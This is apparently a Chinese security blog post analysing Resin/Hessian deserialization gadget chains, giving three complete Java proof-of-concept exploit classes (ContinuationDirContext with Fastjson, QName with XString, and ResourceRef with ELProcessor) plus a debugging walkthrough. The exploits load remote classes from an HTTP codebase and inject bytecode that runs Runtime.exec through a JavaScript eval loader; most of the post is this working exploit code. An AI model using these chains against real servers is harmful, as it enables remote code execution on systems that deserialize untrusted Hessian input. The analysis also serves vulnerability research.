前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的，旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器，它和hessian在一个group里，所以有一定的联系

<dependencies>

  <dependency>

    <groupId>com.caucho</groupId>

    <artifactId>resin</artifactId>

    <version>4.0.64</version>

  </dependency>

</dependencies>

ContinuationDirContext+Fastjson利用链

攻击测试

因为是JDNI，所以还是得注意下jdk版本，这里用jdk8u65

package org.example;

import com.alibaba.fastjson.JSONObject;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class resinPoc {

    public static void main(String[] args) throws Exception {

        //URLCLASSLOADER RCE

        Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

}

流程分析

之前研究过Hessian反序列化，没想到它会触发反序列化对象的toString方法，经过调试，在过完最后那个map.put(in.readObject(),in.readObject())后，obj就是要反序列化的对象，这里有个字符拼接，所以触发了obj.toString()



这里简单提一下，接下来看正式的流程，既然这里触发了JSONObject的toString方法，说明就能任意调用getter了，我们给JSONObject传入的对象是ContinuationDirContext，这里直接给出调用的getter方法，

ContinuationContext是ContinuationDirContext的父类

ContinuationContext#getTargetContext()

我们在这个getter方法上打个断点



进入NamingManager.getContext，这里面的cpe是我们恶意构造的





跟进getObjectInstance方法



这个引用一个对象工厂



进入里面会进行类加载



最终是通过URLClassLoader进行类加载的

toString+Qname利用链

toString的触发方式有很多，这里采用HashMap+XString来触发

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.caucho.naming.QName;

import com.sun.org.apache.xpath.internal.objects.XString;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.naming.CannotProceedException;

import javax.naming.Reference;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class XstringChain {

    public static void main(String[] args) throws Exception {

        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

        QName qName = new QName(ctx, "boo", "gii");

        String unhash = unhash(qName.hashCode());

        XString xString = new XString(unhash);

        HashMap<Object, Object> map = makeMap(qName, xString);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(map);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

unhash的目的是为了绕过hashmap的hashcode判断，进入equals，这个链不是通过hashmap的readobject触发，之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法，那么就会调用hashcode或者是equals。





触发QName的toString方法



进入composeName



调用getTargetContext，然后就是上面那条链了

ResouceRef+ELProccessor RCE 利用链

我本地测试没成功，在实例化javax.el.ELProcessor时的时候throw了一个java.lang.reflect.InvocationTargetException，很麻

package org.example;

import com.caucho.hessian.io.Hessian2Input;

import com.caucho.hessian.io.Hessian2Output;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassClassPath;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.naming.ResourceRef;

import sun.reflect.ReflectionFactory;

import com.alibaba.fastjson.JSONObject;

import javax.el.ELProcessor;

import javax.naming.CannotProceedException;

import javax.naming.StringRefAddr;

import javax.naming.directory.DirContext;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.IOException;

import java.io.ObjectOutputStream;

import java.lang.reflect.Array;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.InvocationTargetException;

import java.util.Base64;

import java.util.HashMap;

import java.util.Hashtable;

public class ELProcessChain {

    public static void main(String[] args) throws Exception {

        ClassPool pool = new ClassPool();

        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

        CtClass cc = pool.makeClass("Cat");

        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);

        String randomClassName = "EvilCat" + System.nanoTime();

        cc.setName(randomClassName);

        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] bytes = cc.toBytecode();

        String s1 = Base64.getEncoder().encodeToString(bytes);

        System.out.println(s1);

        String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";

        //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";

        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);

        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));

        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));

        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$

        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);

        ccCons.setAccessible(true);

        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);

        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();

        JSONObject jsonObject = new JSONObject();

        jsonObject.put("f12",ctx);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        Hessian2Output out = new Hessian2Output(baos);

        baos.write(67);

        out.getSerializerFactory().setAllowNonSerializable(true);

        out.writeObject(jsonObject);

        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());

        Hessian2Input input = new Hessian2Input(bais);

        input.readObject();

        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());

        //System.out.println(ret);

    }

    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {

        HashMap<Object, Object> s = new HashMap<>();

        setFieldValue(s, "size", 2);

        Class<?> nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        }

        catch ( ClassNotFoundException e ) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }

        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        setFieldValue(s, "table", tbl);

        return s;

    }

    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);

    }

    public static String serial(Object o) throws IOException, NoSuchFieldException {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");

        //writeReplaceMethod.setAccessible(true);

        oos.writeObject(o);

        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());

        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {

        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);

        objCons.setAccessible(true);

        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);

        sc.setAccessible(true);

        return (T) sc.newInstance(consArgs);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {

        Field field = obj.getClass().getDeclaredField(fieldName);

        field.setAccessible(true);

        field.set(obj, value);

    }

    public static String unhash ( int hash ) {

        int target = hash;

        StringBuilder answer = new StringBuilder();

        if ( target < 0 ) {

            // String with hash of Integer.MIN_VALUE, 0x80000000

            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )

                return answer.toString();

            // Find target without sign bit set

            target = target & Integer.MAX_VALUE;

        }

        unhash0(answer, target);

        return answer.toString();

    }

    private static void unhash0 ( StringBuilder partial, int target ) {

        int div = target / 31;

        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {

            if ( div != 0 )

                partial.append((char) div);

            partial.append((char) rem);

        }

        else {

            unhash0(partial, div);

            partial.append((char) rem);

        }

    }

}

说下大致流程，前面的步骤一样，到这里，进入getObjectInstance



这里beanClass是javax.el.ELProcessor，本来实例化后再往后就会取值进行调用执行了，但是在这实例化处si了



这里invoke，rce

Resin反序列化链分析的更多相关文章

  1. PHP反序列化链分析

    前言 基本的魔术方法和反序列化漏洞原理这里就不展开了. 给出一些魔术方法的触发条件: __construct()当一个对象创建(new)时被调用,但在unserialize()时是不会自动调用的 __ ...

  2. [Java反序列化]jdk原生链分析

    jdk原生链分析 原文链接 作为jdk中目前发现的原生链,还是有必要要分析这个用法的.全文仅限尽可能还原挖掘思路 JDK7u21 在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位 ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  5. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  6. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  7. ThinkPHP v6.0.x 反序列化漏洞利用

    前言: 上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞. 这里总结一下tp6的反序列化漏洞的利用. 0x01环境搭建 现在tp新版本的官网 ...

  8. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  9. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  10. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

随机推荐

  1. [Raspberry Pi]树莓派多线程下串口收发数据

    [Raspberry Pi]树莓派多线程下串口收发数据 鼠鼠用的是python开发树莓派,因为python是最优美的语言! 少废话,直接上代码: import threading import ser ...

  2. CodeForces Hello 2024 个人题解（A~C）

    A. Wallet Exchange 时间限制: 1秒 内存限制: 256兆 输入: 标准输入 输出: 标准输出 Alice and Bob are bored, so they decide to ...

  3. CMake使用Boost

    cmake_minimum_required(VERSION 2.8) set(Boost_INCLUDE_DIR /usr/local/src/boost_1_46_1) set(Boost_LIB ...

  4. YOLACT++ : 实时实例分割，从29.8mAP/33.5fps到34.1mAP/33.5fps

    YOLACT是首个实时实例分割算法,但是准确率较SOTA差得有点多,YOLACT++从主干网络.分支和anchor的3个角度出发对YOLACT进行优化,在保持实时性的前提下提升了5map,论文改进的角 ...

  5. KingbaseES V8R6 数据库运维案例之 -- root用户securecmd连接'Permission denied'错误

    案例分析: 在KingbaseES V8R6数据库在不支持ssh连接的系统环境,可以通过securecmdd服务建立主机之间的通讯,默认securecmdd服务建立用户之间的互信,通过publicke ...

  6. postman测试接口时的参数对应接口的两种情况

    第一种通过json字符串的情况去进行测试,最终将json字符串转成对应的对象 代码里面一定要加上@RequestBody注解,即使是一个字符串也需要加这个注解 第二种通过key-value的形式去加入 ...

  7. #最大流#WOJ 124 Football Coach

    题目 有\(n\)支球队,互相之间已经进行了一些比赛.现在还有\(m\)场比赛未进行, 每场比赛胜者得2分,平局各得1分,负者不得分. 问是否存在一种方法使得球队\(n\)的得分比其他\(n-1\)支 ...

  8. AtCoder Beginner Contest 181

    ABC181 A - Heavy Rotation 题目传送门 代码(签到题) #include <cstdio> #define rr register using namespace ...

  9. .NET 8使用日志功能以及自定义日志提供程序

    .NET 8使用日志功能以及自定义日志提供程序 日志级别 下表列出了 LogLevel 值.方便的 Log{LogLevel} 扩展方法以及建议的用法: 展开表 LogLevel "值&qu ...

  10. OpenHarmony AI框架开发指导

    一.概述 1.功能简介 AI 业务子系统是 OpenHarmony 提供原生的分布式 AI 能力的子系统.AI 业务子系统提供了统一的 AI 引擎框架,实现算法能力快速插件化集成. AI 引擎框架主要 ...